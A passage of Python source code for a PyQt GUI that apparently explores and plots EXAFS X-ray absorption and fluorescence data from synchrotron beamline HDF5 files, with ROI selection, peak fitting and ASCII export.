units=uTR[0], **labelStyle) else: self.plotI.getAxis('right').setVisible(True) self.plotI.getAxis('right').setLabel(units=uTL[0], **labelStyle) self.plotIR.setYLink(self.plotI.vb) self.isFYenabled = \ len([l for l in self.locations if l in [3, 4]]) > 0 and needFY if self.isFYenabled: csFL = [c for c, loc in zip(self.counters, self.locations) if loc == 3] clFL = [c for c, loc in zip(colors, self.locations) if loc == 3] uFL = [u for u, loc in zip(units, self.locations) if loc == 3] labelFL = self.makeAxisLabel(csFL) self.plotFY.getAxis('left').setLabel( labelFL, units=uFL[0], **labelStyle) csFR = [c for c, loc in zip(self.counters, self.locations) if loc == 4] clFR = [c for c, loc in zip(colors, self.locations) if loc == 4] uFR = [u for u, loc in zip(units, self.locations) if loc == 4] if csFR: self.plotFY.getAxis('right').setVisible(True) labelFR = self.makeAxisLabel(csFR) self.plotFY.getAxis('right').setLabel( labelFR, units=uFR[0], **labelStyle) else: self.plotFY.getAxis('right').setVisible(True) self.plotFY.getAxis('right').setLabel( ' ', units=uFL[0], **labelStyle) self.plotFYR.setYLink(self.plotFY.vb) else: csFL, clFL, csFR, clFR = [], [], [], [] self.cbEXAFSFY.setChecked(False) self.cbEXAFSFY.setEnabled(False) self.setupFYplots() self._curves(self.plotI, self.curvesI, csTL, clTL) self._curves(self.plotIR, self.curvesIR, csTR, clTR) if self.isFYenabled: self._curves(self.plotFY, self.curvesFY, csFL, clFL) self._curves(self.plotFYR, self.curvesFYR, csFR, clFR) if self.isXAFSenabled: if len(self.curvesMuT) < 1: curveItem = pg.PlotCurveItem() self.plotMuT.addItem(curveItem) self.curvesMuT.append(curveItem) self.curvesMuT[0].setPen(COLOR_LIME, width=PEN_WIDTH) if len(self.curvesMuTP) < 1: curveItem = pg.PlotCurveItem() self.plotMuTP.addItem(curveItem) self.curvesMuTP.append(curveItem) self.curvesMuTP[0].setPen(COLOR_ORCHID, width=PEN_WIDTH) if self.isFYenabled: self._curves( self.plotMuF, self.curvesMuF, csFL+csFR, clFL+clFR) self._curves(self.plotChi, self.curvesChi, csFL+csFR, clFL+clFR, 2) self._curves(self.plotFT, self.curvesFT, csFL+csFR, clFL+clFR, 1) self.curvesChi[0].setPen(COLOR_LIME, width=PEN_WIDTH) self.curvesChi[1].setPen(COLOR_GRAY, width=PEN_WIDTH) self.curvesFT[0].setPen(COLOR_LIME, width=PEN_WIDTH) def _curves(self, plot, curves, counters, colors, dc=0): while len(curves) < len(counters)+dc: curveItem = pg.PlotCurveItem() plot.addItem(curveItem) curves.append(curveItem) while len(curves) > len(counters)+dc: del curves[-1] plot.removeItem(curves[-1]) for curve, color in zip(curves[dc:], colors): curve.setPen(color, width=PEN_WIDTH) def makeAxisLabel(self, counters): try: cs = '' for c in counters: if not cs: cs = c continue cs = common_substring(cs, c) if not cs: break cr = '' for c in counters: if not cr: cr = c continue cr = common_substring(cr, c, True) if not cr: break csN = len(cs) crN = len(cr) num = [c[csN:] if crN == 0 else c[csN:-crN] for c in counters] label = cs + make_int_ranges(num) + cr except: # noqa label = ', '.join([c for c in counters]) return label def setupFYplots(self): if needFY: self.plotFY.setVisible(self.isFYenabled) if self.isFYenabled: self.plotI.hideAxis('bottom') else: self.plotI.showAxis('bottom') if not self.isXAFSenabled: return if needFY: self.plotMuF.setVisible(self.isFYenabled) if self.isFYenabled: self.plotMuT.hideAxis('bottom') else: self.plotMuT.showAxis('bottom') def setRepeats(self, lst): try: visible = lst[2] > 1 except: # noqa visible = False self.repeatsBox.setVisible(visible) if lst[0]: self.scanNo.setText(str(lst[0])) if lst[1]: self.repeatNo.setText(str(lst[1])) if lst[2]: self.repeats.setText(str(lst[2])) def setHintE0(self, lst=[]): self.exafs_extractor.hintE0 = lst def setRawData(self, lst): """lst = [moveable] + counters""" incomingSignalShape = np.array(lst[0]).shape if len(incomingSignalShape) > 0: self.moveableValue = lst[0] else: self.moveableValue.append(lst[0]) if not self.counterValues: self.counterValues = [[] for i in lst[1:]] if len(lst[1:]) != len(self.counterValues): raise ValueError("wrong length of data") if len(incomingSignalShape) > 0: for data, (ic, counterValue) in zip(lst[1:], enumerate(self.counterValues)): self.counterValues[ic] = data else: for data, counterValue in zip(lst[1:], self.counterValues): counterValue.append(data) self.nPointsReceived += 1 self.pointsReceived.setText(': {0} point{1}'.format( self.nPointsReceived, 's' if self.nPointsReceived > 1 else '')) if self.tabWidget.currentIndex() == 0: if self.nPointsReceived % FRAME_CHUNK_GENERAL == 0: self.updatePlots() # if not self.isXAFSenabled: self.app.processEvents() def setMuData(self, lst): """lst = [e, muT] + [muFY]*N""" if not self.isXAFSenabled: return incomingSignalShape = np.array(lst[0]).shape if len(incomingSignalShape) > 0: self.emu = lst[0] self.muT = lst[1] else: self.emu.append(lst[0]) self.muT.append(lst[1]) if self.isFYenabled: if not self.muFs: self.muFs = [[] for i in lst[2:]] if len(lst[2:]) != len(self.muFs): raise ValueError("wrong length of mu data") if len(incomingSignalShape) > 0: for data, (im, muf) in zip(lst[2:], enumerate(self.muFs)): self.muFs[im] = data else: for data, muf in zip(lst[2:], self.muFs): muf.append(data) # if self.tabWidget.currentIndex() == 1: # if self.nPointsReceived % FRAME_CHUNK_MU == 0: # self.updatePlots() # elif self.tabWidget.currentIndex() == 2: # if self.nPointsReceived % FRAME_CHUNK_EXAFS == 0: # self.updatePlots() self.updatePlots() self.app.processEvents() def setEXAFSdata(self, lst): if not lst: return ks, chis, fts, winFT = lst visTr = self.cbEXAFSTr.checkState() visFY = self.cbEXAFSFY.checkState() self.curvesChi[0].setData(ks[0], chis[0]) self.curvesChi[0].setVisible(visTr) try: chimaxTr = chis[0].max() if visTr else 1 chimaxFY = max([chi.max() for chi in chis[1:]]) if visFY else 1 chimax = max(chimaxTr, chimaxFY) except ValueError: chimax = 1 self.curvesChi[1].setData(ks[-1], winFT/winFT.max()*chimax) self.curvesFT[0].setData(self.exafs_extractor.r, fts[0]) self.curvesFT[0].setVisible(visTr) for k, chi, ft, curveChi, curveFT in zip( ks[1:], chis[1:], fts[1:], self.curvesChi[2:], self.curvesFT[1:]): curveChi.setData(k, chi) curveFT.setData(self.exafs_extractor.r, ft) curveChi.setVisible(visFY) curveFT.setVisible(visFY) self.app.processEvents() def updatePlots(self): if self.tabWidget.currentIndex() == 0: # raw signals x = np.array(self.moveableValue) d = [np.array(counterValue) for counterValue in self.counterValues] if not (len(d) == len(self.locations)): return # raise ValueError("wrong length of raw data") nloc1, nloc2, nloc3, nloc4 = 0, 0, 0, 0 for a, loc in zip(d, self.locations): if loc == 1: self.curvesI[nloc1].setData(x, a) nloc1 += 1 elif loc == 2: self.curvesIR[nloc2].setData(x, a) nloc2 += 1 elif loc == 3 and self.isFYenabled: self.curvesFY[nloc3].setData(x, a) nloc3 += 1 elif loc == 4 and self.isFYenabled: self.curvesFYR[nloc4].setData(x, a) nloc4 += 1 elif self.tabWidget.currentIndex() == 1: # mu if not self.curvesMuT: return e = np.array(self.emu) # try: muT = np.array(self.muT) self.curvesMuT[0].setData(e, muT) muTP = np.gradient(muT) / np.gradient(e) muTP = gaussian_filter1d(muTP, 3) self.curvesMuTP[0].setData(e, muTP) rese0 = self.exafs_extractor.e0(e, precalcDeriv=muTP) if rese0 is not None: _, e0, muTP0 = rese0 self.textE0.setHtml( '<span style="font-size:10pt">{0:.2f}</span>'. format(e0)) self.textE0.setPos(e0, muTP0) self.arrowE0.setPos(e0, muTP0) else: self.textE0.setPos(0, 0) self.arrowE0.setPos(0, 0) if self.isFYenabled: muFs = [np.array(mu) for mu in self.muFs] if not (len(muFs) == len(self.curvesMuF)): raise ValueError("wrong length of raw data") for muF, curve in zip(muFs, self.curvesMuF): curve.setData(e, muF) elif self.tabWidget.currentIndex() == 2: # EXAFS e = np.array(self.emu) muT = np.array(self.muT) if self.isFYenabled: muFs = [np.array(mu) for mu in self.muFs] if not (len(muFs) == len(self.curvesMuF)): raise ValueError("wrong length of raw data") else: muFs = [] self.exafs_extractor.prepare([e, muT, muFs]) self.threadEXAFS.start() class Ge32Explorer(QtGui.QMainWindow): pixDataReady = QtCore.pyqtSignal(list) def __init__(self): QtGui.QMainWindow.__init__(self) self.setAttribute(QtCore.Qt.WA_DeleteOnClose) self.setWindowTitle("Acquaman EXAFS Explorer") self.file_menu = QtGui.QMenu('&File', self) self.file_menu.addAction('&Quit', self.fileQuit, QtCore.Qt.CTRL + QtCore.Qt.Key_Q) self.menuBar().addMenu(self.file_menu) self.help_menu = QtGui.QMenu('&Help', self) self.menuBar().addSeparator() self.menuBar().addMenu(self.help_menu) self.exafs_monitor = MonitorWidget() self.exafs_monitor.show() # self.help_menu.addAction('&About', self.about) self.main_widget = QtGui.QWidget(self) self.DETECTOR_PIX_TUPLE = "" self.DETECTOR_SUM_TUPLE = "" hl = QtGui.QHBoxLayout(self.main_widget) canvasSplitter = QtGui.QSplitter() canvasSplitter.setChildrenCollapsible(False) canvasSplitter.setOrientation(QtCore.Qt.Horizontal) hl.addWidget(canvasSplitter) fileNav = QtGui.QTreeView() fileModel = QtGui.QDirModel() # fileModel = QtGui.QFileSystemModel() # fileModel.setRootPath(ROOTPATH) # fileNav.setRootIndex(fileModel.index(ROOTPATH)) fileNav.setSortingEnabled(True) fileNav.header().sortIndicatorChanged.connect(fileModel.sort) fileNav.sortByColumn(0, QtCore.Qt.AscendingOrder) fileNav.setModel(fileModel) fileNav.doubleClicked.connect(self.load_data) lw = QtGui.QWidget(self.main_widget) l = QtGui.QVBoxLayout() lw.setLayout(l) scaleValidator = QtGui.QIntValidator() scaleValidator.setRange(0, DETECTOR_NCHANNELS) pixTab = QtGui.QTabWidget() # pixPanel = QtGui.QGroupBox() # pixPanel.setTitle('MCA Detector channels') self.pixLayout = [] self.pixList = [[]] self.slider = [] self.pixEdit = [] for idet in range(MAX_DETECTORS): detLayout = QtGui.QVBoxLayout() self.slider.append(QtGui.QSlider(QtCore.Qt.Horizontal)) self.slider[idet].setRange(0, DETECTOR_NCHANNELS) self.slider[idet].setTickInterval(1) self.slider[idet].valueChanged.connect(self.show_frame) self.pixEdit.append(QtGui.QLineEdit('0')) self.pixEdit[idet].editingFinished.connect(lambda: self.slider[idet].setValue( int(self.pixEdit[idet].text()))) self.pixEdit[idet].setMaximumWidth(50) self.pixEdit[idet].setValidator(scaleValidator) hlayout = QtGui.QHBoxLayout() hlayout.addWidget(self.slider[idet]) hlayout.addWidget(self.pixEdit[idet]) try: self.slider[idet].setTickPosition(QtGui.QSlider.TicksAbove) except: print("slider: unknown settings") pixPanel = QtGui.QWidget() self.pixLayout.append(QtGui.QGridLayout()) detLayout.addLayout(hlayout) for ipix in range(32): self.add_pix_cb(idet, ipix) for ipix in range(31): self.pixList[idet][ipix+1].setVisible(False) self.pixList.append([]) detLayout.addLayout(self.pixLayout[idet]) pixPanel.setLayout(detLayout) pixPanel.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed) pixTab.addTab(pixPanel, "") if idet > 0: pixTab.setTabEnabled(idet, False) # tabBarCB = QtGui.QCheckBox("") # tabBarCB pixTab.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed) self.pixTab = pixTab self.mplFig = Figure() self.mplAx = self.mplFig.add_subplot(111) mplWidget = QtGui.QWidget() mplLayout = QtGui.QVBoxLayout() paletteWidget = FigureCanvas(self.mplFig) self.load_data(None) self.im = self.mplAx.imshow(self.sumChannel.T, cmap='jet', extent=(self.eaxis[0], self.eaxis[-1], 0, 4095*FLUOBIN), aspect='auto', interpolation='none', origin='lower') # self.addToolBar(NavigationToolbar(paletteWidget, self)) mplLayout.addWidget(NavigationToolbar(paletteWidget, self)) self.pixDataReady.connect(self.exafs_monitor.dataReceiver.hdf_data_listener) self.span = SpanSelector(self.mplAx, self.onROIselect, 'vertical', useblit=True, rectprops=dict(alpha=0.3, facecolor='white'), button=1) infoWidget = QtGui.QGroupBox() vlayout = QtGui.QVBoxLayout() # roiTabs = QtGui.QTabWidget() # roiPanel = QtGui.QWidget() roiPanel = QtGui.QGroupBox('ROI') panelLayout = QtGui.QVBoxLayout() roiScroll = QtGui.QScrollArea() roiWidget = QtGui.QWidget() self.roiButtonGroup = QtGui.QButtonGroup() self.roiButtonGroup.buttonClicked.connect(self.updateROIs) roiLayout = QtGui.QVBoxLayout() self.roiPanels = [] for chan in range(16): roiChan = ROIPanel(self.roiButtonGroup, chan, 0, 0, 0) roiChan.roimaxEdit.editingFinished.connect(lambda: self.onROIselect(None, None)) roiChan.roiminEdit.editingFinished.connect(lambda: self.onROIselect(None, None)) roiChan.elineEdit.editingFinished.connect( lambda: self.plot_lines(None, 1)) roiLayout.addWidget(roiChan) if chan > 0: roiChan.setVisible(False) self.roiPanels.append(roiChan) roiLayout.addStretch(1) self.roiButtonGroup.button(0).setChecked(True) self.currentROIPanel = self.roiPanels[0] roiWidget.setLayout(roiLayout) roiScroll.setWidget(roiWidget) roiScroll.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) roiScroll.setWidgetResizable(True) panelLayout.addWidget(roiScroll) roiPanel.setLayout(panelLayout) vlayout.addWidget(roiPanel) # roiTabs.addTab(roiPanel, 'ROI') # pfPanel = QtGui.QWidget() pfPanel = QtGui.QGroupBox('Peak fitting') pfLayout = QtGui.QVBoxLayout() pfCB = QtGui.QCheckBox('Enabled (really slow)') pfCB.setCheckState(0) self.PFStatus = False pfCB.stateChanged.connect(self.switchPF_ROI) pfLayout.addWidget(pfCB) self.PFModel = 'Gaussian' self.pfButtonGroup = QtGui.QButtonGroup() for iFS, funcStr in enumerate(['Gaussian', 'Lorentzian', 'Voigt']): funcRB = QtGui.QRadioButton(funcStr) self.pfButtonGroup.addButton(funcRB, iFS) if iFS == 0: funcRB.setChecked(True) pfLayout.addWidget(funcRB) self.pfButtonGroup.buttonClicked['int'].connect(self.updatePFs) pfPanel.setLayout(pfLayout) # roiTabs.addTab(pfPanel,'Peak fitting') # vlayout.addWidget(roiTabs) vlayout.addWidget(pfPanel) linesWidget = QtGui.QGroupBox("Lines") hlayout = QtGui.QVBoxLayout() label = QtGui.QLabel('Edge position, eV') self.edgeEdit = QtGui.QLineEdit('0') self.edgeEdit.editingFinished.connect(lambda: self.plot_lines( float(self.edgeEdit.text()), 0)) hlayout.addWidget(label) hlayout.addWidget(self.edgeEdit) linesWidget.setLayout(hlayout) vlayout.addWidget(linesWidget) plotPropWidget = QtGui.QGroupBox("Energy scale for 2D") hlayout = QtGui.QVBoxLayout() buttonGroup = QtGui.QButtonGroup() button1 = QtGui.QRadioButton("eV (real scale)") button1.setChecked(True) self.mapEax = 0 button2 = QtGui.QRadioButton("points (faster, wrong scale)") buttonGroup.addButton(button1) buttonGroup.addButton(button2) button1.clicked.connect(self.updateEnergyAxis) button2.clicked.connect(self.updateEnergyAxis) hlayout.addWidget(button1) hlayout.addWidget(button2) plotPropWidget.setLayout(hlayout) vlayout.addWidget(plotPropWidget) # vlayout.addStretch(1) exportGroup = QtGui.QGroupBox("Export") agLayout = QtGui.QVBoxLayout() self.fileNameEdit = QtGui.QLineEdit("No data") self.exAllCB = QtGui.QCheckBox("Export all enabled channels") exportButton = QtGui.QPushButton('Export to ASCII') exportButton.clicked.connect(self.exportToASCII) agLayout.addWidget(self.fileNameEdit) agLayout.addWidget(self.exAllCB) agLayout.addWidget(exportButton) exportGroup.setLayout(agLayout) vlayout.addWidget(exportGroup) infoWidget.setLayout(vlayout) infoWidget.setSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Expanding) # self.roiCountStr = "Total ROI counts for channel {0}: {1}" # self.totalROIcount = QtGui.QLabel(self.roiCountStr.format( # 'SUM', np.sum(self.totalSum[:, self.roi[0]:self.roi[-1]]))) # vlayout.addWidget(self.totalROICount) # self.totalCountStr = "Total counts for channel {0}: {1}" # self.totalCount = QtGui.QLabel(self.totalCountStr.format( # 'SUM', np.sum(self.totalSum))) # vlayout.addWidget(self.totalCount) hlayout = QtGui.QHBoxLayout() hsplit = QtGui.QSplitter() hsplit.setChildrenCollapsible(False) hsplit.setOrientation(QtCore.Qt.Horizontal) hsplit.setLayout(hlayout) mplLayout.addWidget(paletteWidget) mplWidget.setLayout(mplLayout) hlayout.addWidget(mplWidget) hlayout.addWidget(infoWidget) # l.addWidget(pixPanel) l.addWidget(pixTab) l.addWidget(hsplit) # l.addStretch() # l.addWidget(dc) canvasSplitter.addWidget(fileNav) canvasSplitter.addWidget(lw) self.main_widget.setFocus() self.setCentralWidget(self.main_widget) def updatePFs(self, buttonID): self.PFModel = buttonID if self.PFStatus: self.send_to_monitor() def switchPF_ROI(self, state): self.PFStatus = True if state else False self.send_to_monitor() def updateROIs(self, buttonId): try: sender = self.sender() panelId = int(sender.checkedId()) except: panelId = buttonId self.currentROIPanel = self.roiPanels[panelId] ymin = np.float32(self.currentROIPanel.roiminEdit.text()) ymax = np.float32(self.currentROIPanel.roimaxEdit.text()) elEnergy = np.float32(self.currentROIPanel.elineEdit.text()) self.onROIselect(ymin, ymax) self.plot_lines(elEnergy, 1) def updateEnergyAxis(self, state): sender = self.sender() currentDet = self.pixTab.currentIndex() if str(sender.text()).startswith("eV"): self.mapEax = 0 else: self.mapEax = 1 self.show_frame(self.slider[currentDet].value()) def exportToASCII(self): header = """XDI/1.0\nEndstation\nBioXAS Beamline - Main Endstation\n\n""" header += "ROI: {0} to {1} eV\n\n".format(*self.roi) exportName = os.path.join(os.path.dirname( self.fileNameStr), self.fileNameEdit.text()) outData = [] for dsName in ['eaxis', 'dwellTime', 'ch1', 'ch2', 'ch3', 'totalSum']: header += "{} ".format(dsName) outData.append(np.sum(getattr(self, dsName)[:, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)], axis=1) if dsName == 'totalSum' else getattr(self, dsName)) if self.exAllCB.checkState(): for DETECTOR_PIX_STR in self.DETECTOR_PIX_TUPLE: for pixel in self.pixList: if pixel.checkState(): pixStr = DETECTOR_PIX_STR.format(pixel.text()) header += pixStr + " " outData.append(np.sum(np.array( self.scanGroup[pixStr])[:, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)], axis=1)) np.savetxt(exportName, np.array(outData).T, fmt='%.10e', header=header) print("Exported to", "{}".format(exportName)) def onROIselect(self, ymin, ymax): if ymin is not None: self.currentROIPanel.roiminEdit.setText("{:.2f}".format(ymin)) self.currentROIPanel.roimaxEdit.setText("{:.2f}".format(ymax)) else: ymin = float(self.currentROIPanel.roiminEdit.text()) ymax = float(self.currentROIPanel.roimaxEdit.text()) try: self.roispan.remove() except: pass self.roispan = self.mplAx.axhspan(ymin, ymax, alpha=0.3, color='white') self.roi = [ymin, ymax] self.send_to_monitor() def recalculate_sum(self, state): sender = self.sender() pixNum = int(sender.text()) currentDet = self.pixTab.currentIndex() pixStr = self.DETECTOR_PIX_TUPLE[currentDet].format(pixNum) modifier = 1. if state else -1. okstate = False if np.isnan(np.sum(np.array( self.scanGroup[pixStr]))) else True if okstate: self.totalSum += modifier *\ np.array(self.scanGroup[pixStr]) self.send_to_monitor() self.sumChannel = self.totalSum / self.ch1arr # self.sumChannel /= np.max(self.sumChannel) if int(self.pixEdit[currentDet].text()) == 0: self.show_frame(0) def send_to_monitor(self): outF = self.fit_peaks() if self.PFStatus else np.sum( self.totalSum[:, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)], axis=1) outMsg = [[os.path.basename(self.fileNameStr)], float(self.edgeEdit.text()), self.eaxis, self.ch1, self.ch2, self.ch3, [outF]] self.pixDataReady.emit(outMsg) def fit_peaks(self): # plt.figure() if self.PFModel == 0: peak1 = models.GaussianModel(prefix='p1_') elif self.PFModel == 1: peak1 = models.LorentzianModel(prefix='p1_') else: peak1 = models.VoigtModel(prefix='p1_') params1 = peak1.make_params() totalFit = np.zeros(self.totalSum.shape[0]) # lastfit = None # initfit = None print("Started peak fitting for", len(totalFit), "points") for ie in range(len(totalFit)): xrf = self.totalSum[ie, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)] datax = np.linspace(0, len(xrf)-1, len(xrf)) center = (self.roi[-1]*0.1 - self.roi[0]*0.1) * 0.5 params1['p1_center'].set(value=center, min=center-30, max=center+30) params1['p1_sigma'].set(value=8, min=0.1, max=100) xrfmax = np.max(xrf) params1['p1_amplitude'].set(value=xrfmax, min=xrfmax*0.01, max=xrfmax*100) output = peak1.fit(xrf, params1, x=datax) peak_integral = output.best_values['p1_amplitude'] # lastparams = params1 # lastbest = output.best_values # print(self.eaxis[ie], peak_integral) totalFit[ie] = peak_integral # lastfit = output.best_fit # initfit = output.init_fit # print(lastparams) # print(lastbest) # plt.plot(datax, xrf, 'b+') # plt.plot(datax, lastfit, 'r-') # plt.plot(datax, initfit, 'g-') # plt.show() print("Done") return totalFit def load_data(self, index): self.beamline = None if index is None: self.eaxis = np.linspace(0, 100, 101) self.dwellTime = np.zeros_like(self.eaxis) self.ch1 = np.ones_like(self.eaxis) self.ch2 = np.zeros_like(self.eaxis) self.ch3 = np.zeros_like(self.eaxis) ch4 = np.zeros((len(self.eaxis), 1024)) self.fileNameStr = "No Data" self.ch1arr = np.zeros_like(ch4) self.sumChannel = np.zeros_like(ch4) self.sumChannel[0, 0] = 1 self.sourceName = "No Data" self.f = None self.scanGroup = [] else: if not index.model().isDir(index): fileName = index.model().filePath(index) self.fileNameStr = fileName # .split("\\")[-1] self.fileNameEdit.setText("{}.dat".format( os.path.basename(self.fileNameStr))) self.sourceName = self.fileNameStr try: self.f = h5py.File(fileName, 'r') self.scanGroup = self.f['scan'] # BioXAS scan group name if 'BioXASMainInboardDetector' in self.scanGroup.keys() or\ 'BioXASMainOutboardDetector' in self.scanGroup.keys(): self.beamline = 'BioXAS-Main' elif 'Ge32Element' in self.scanGroup.keys(): self.beamline = 'BioXAS-Side' elif 'KETEK' in self.scanGroup.keys(): self.beamline = 'IDEAS' elif 'Ge13El' in self.scanGroup.keys(): self.beamline = 'VESPERS' else: print("Could not identify the beamline based on mca detector name") if self.beamline is None: if 'beamline_configuration' in self.f.keys(): beamCfg = self.f['beamline_configuration'] if 'BioXASMainInboardGeDetectorStage' in beamCfg.keys(): self.beamline = 'BioXAS-Main' elif 'BioXASSideGeDetectorStage' in beamCfg.keys(): self.beamline = 'BioXAS-Side' else: print("Could not identify the beamline based on beamline_configuration") if self.beamline is None: if 'I0Detector' in self.scanGroup.keys(): self.beamline = 'BioXAS-Main' # It can be Side as well, but the dataset names would be the same elif 'I_0' in self.scanGroup.keys() or\ 'Reference' in self.scanGroup.keys(): self.beamline = 'IDEAS' elif 'MiniIonChamber' in self.scanGroup.keys() or\ 'PostIonChamber' in self.scanGroup.keys() or\ 'SplitIonChamber' in self.scanGroup.keys(): self.beamline = 'VESPERS' else: print("CAN'T IDENTIFY THE FILE STRUCTURE") # TODO: data selection dialog if self.beamline is None: self.load_data(None) return axisnames = re.findall(r'AxisValues.*?\'', (str(self.scanGroup.keys()))) if len(axisnames) == 1: axisname = axisnames[0].strip(('\' ,')) self.eaxis = np.array(self.scanGroup[axisname]) elif len(axisnames) == 2: print("Two-dimensional scans not supported") else: print("CAN'T IDENTIFY THE FILE STRUCTURE") # TODO: data selection dialog self.dwellTime = np.array(self.scanGroup[dataFormats[self.beamline]['dwellTime']]) self.ch1 = np.array(self.scanGroup[dataFormats[self.beamline]['I0']]) self.ch2 = np.array(self.scanGroup[dataFormats[self.beamline]['I1']]) self.ch3 = np.array(self.scanGroup[dataFormats[self.beamline]['I2']]) # if isinstance(dataFormats[self.beamline]['mcaTotal'], tuple): self.DETECTOR_SUM_TUPLE = dataFormats[self.beamline]['mcaTotal'] # self.DETECTOR_PIX_STR = dataFormats[self.beamline]['mcaSingle'][0] # else: # self.DETECTOR_SUM_STR = dataFormats[self.beamline]['mcaTotal'] self.DETECTOR_PIX_TUPLE = dataFormats[self.beamline]['mcaSingle'] if\ 'mcaSingle' in dataFormats[self.beamline].keys() else self.DETECTOR_SUM_TUPLE ch4 = np.array(self.scanGroup[self.DETECTOR_SUM_TUPLE[0]]) fluolen = ch4.shape[1] extents = (self.eaxis[0], self.eaxis[-1], 0, (fluolen-1)*10) self.im.set_extent(extents) except: raise self.load_data(None) return self.roi = [0, np.max(ch4.shape[1])*FLUOBIN] self.totalSum = np.zeros_like(ch4) if index is not None: for idet in range(MAX_DETECTORS): self.pixTab.setTabText(idet, "") if idet > 0: self.pixTab.setTabEnabled(idet, False) for idet, DETECTOR_PIX_STR in enumerate(self.DETECTOR_PIX_TUPLE): self.pixTab.setTabText(idet, f"{self.DETECTOR_SUM_TUPLE[idet]}") self.pixTab.setTabEnabled(idet, True) for ichan in range(32): self.pixList[idet][ichan].setVisible(False) for ichan in range(32): pixStr = DETECTOR_PIX_STR.format(ichan+1) if pixStr in self.scanGroup.keys(): okstate = False if np.isnan(np.sum(np.array( self.scanGroup[pixStr]))) else True if self.pixList[idet][ichan].checkState() and okstate: # and ichan not in [4,5,6,7,15]: self.totalSum += np.array(self.scanGroup[pixStr]) self.pixList[idet][ichan].setVisible(True) if DETECTOR_PIX_STR == self.DETECTOR_SUM_TUPLE[idet]: break else: break self.slider[idet].setRange(0, ichan+1) self.pixEdit[idet].validator().setRange(0, ichan+1) self.ch1arr = (self.ch1[:, np.newaxis]*np.ones_like(ch4)) self.sumChannel = self.totalSum / self.ch1arr # self.sumChannel /= np.max(self.sumChannel) currentPix = int(self.pixEdit[0].text()) self.show_frame(currentPix) try: if 'emission_lines' in self.f.keys(): lastroi = 0 for iroi, (roiname, roivalue) in enumerate(self.f['emission_lines'].items()): roimin, roimax, roienergy =\ np.float32(roivalue['lowerBound']),\ np.float32(roivalue['upperBound']),\ np.float32(roivalue['energy']) self.roiPanels[iroi].update_rois(roimin, roimax) self.roiPanels[iroi].update_energy(roienergy) self.roiPanels[iroi].roiRButton.setText(str(roiname)) self.roiPanels[iroi].setVisible(True) lastroi = int(iroi)+1 for roichan in range(16-lastroi): self.roiPanels[roichan+lastroi].setVisible(False) self.currentROIPanel = self.roiPanels[0] self.currentROIPanel.roiRButton.setChecked(True) if lastroi > 0: self.updateROIs(0) except: raise print("Can't load ROIs") edgePos = min(self.eaxis[-1], self.eaxis[0]+200) try: if 'scan_regions' in self.f.keys(): if len(self.f['scan_regions']) > 0: for regionv in self.f['scan_regions'].values(): if 'edgeEnergy' in regionv: edgePos = np.float32(regionv['edgeEnergy']) break except: print("Can't load edge position") self.send_to_monitor() self.edgeEdit.setText("{:.2f}".format(edgePos)) self.plot_lines(edgePos, 0) def add_pix_cb(self, idet, ipix): row = ipix // 8 col = ipix - row * 8 pix = QtGui.QCheckBox(str(ipix+1)) pix.setChecked(True) pix.stateChanged.connect(self.recalculate_sum) # layout.addWidget(pix, row, col) self.pixLayout[idet].addWidget(pix, row, col) self.pixList[idet].append(pix) def plot_lines(self, energy, mode): if mode: try: self.emissionLinePlot.remove() except: pass if energy is None: energy = np.float32(self.currentROIPanel.elineEdit.text()) self.emissionLinePlot = self.mplAx.axhline( energy, color='red', linewidth=1) else: try: self.absorptionLinePlot.remove() except: pass self.absorptionLine = energy self.absorptionLinePlot = self.mplAx.axvline( energy, color='yellow', linewidth=1) self.send_to_monitor() self.mplFig.canvas.draw() self.mplFig.canvas.blit() def show_frame(self, ichan): currentDet = self.pixTab.currentIndex() self.pixEdit[currentDet].setText(str(ichan)) # print(currentDet, ichan) pixStr = self.DETECTOR_PIX_TUPLE[currentDet].format(ichan) if ichan > 0 else\ self.DETECTOR_SUM_TUPLE[currentDet] if not pixStr in self.scanGroup: return fluolen = self.totalSum.shape[1] fluoax = np.linspace(0, (fluolen-1)*FLUOBIN, fluolen) eax = np.linspace(self.eaxis[0], self.eaxis[-1], int(self.eaxis[-1] - self.eaxis[0])) data = np.array(self.scanGroup[pixStr])/self.ch1arr if ichan > 0 else\ self.sumChannel # data = self.ch4 plotArray = data.T / np.max(data) # It's a workaround for acquaman bug/feature, # when the next region starts at the same energy # where the previous region ends xax = np.copy(self.eaxis) diffTest = np.diff(xax) <= 0 if any(diffTest): xax[np.where(diffTest)] -= 1e-3 # End fix if self.mapEax == 0: f = interp2d(xax, fluoax, plotArray) interpData = f(eax, fluoax) else: interpData = plotArray self.im.set_data(interpData) self.im.set_cmap('jet') # print(pixStr) self.mplAx.set_title(pixStr) self.mplFig.canvas.draw() self.mplFig.canvas.blit() def fileQuit(self): self.close() def closeEvent(self, ce): self.fileQuit() class ROIPanel(QtGui.QGroupBox): lineEditUpdated = QtCore.pyqtSignal(int, int) def __init__(self, bGr, chan, e0, emin, emax): QtGui.QGroupBox.__init__(self) # roiWidget = QtGui.QGroupBox() hlayout = QtGui.QGridLayout() roiRButton = QtGui.QRadioButton(str(chan+1)) # roiRButton.clicked.connect(self.updateROIs) bGr.addButton(roiRButton, chan) self.roiRButton = roiRButton hlayout.addWidget(roiRButton, 0, 0, 2, 1) scaleValidator = QtGui.QDoubleValidator() scaleValidator.setRange(0, 4095*FLUOBIN, 3) roiminEdit = QtGui.QLineEdit(str(emin)) roiminEdit.setValidator(scaleValidator) roiminEdit.setMaximumWidth(75) roimaxEdit = QtGui.QLineEdit(str(emax)) roimaxEdit.setValidator(scaleValidator) roimaxEdit.setMaximumWidth(75) label = QtGui.QLabel('Energy') elineEdit = QtGui.QLineEdit(str(e0)) elineEdit.setValidator(scaleValidator) # elineEdit.setMaximumWidth(75) hlayout.addWidget(label, 0, 1) hlayout.addWidget(elineEdit, 0, 2, 1, 3) label = QtGui.QLabel('Min') hlayout.addWidget(label, 1, 1) hlayout.addWidget(roiminEdit, 1, 2) # hlayout.addStretch(1) label = QtGui.QLabel('Max') hlayout.addWidget(label, 1, 3) hlayout.addWidget(roimaxEdit, 1, 4) self.roiminEdit = roiminEdit 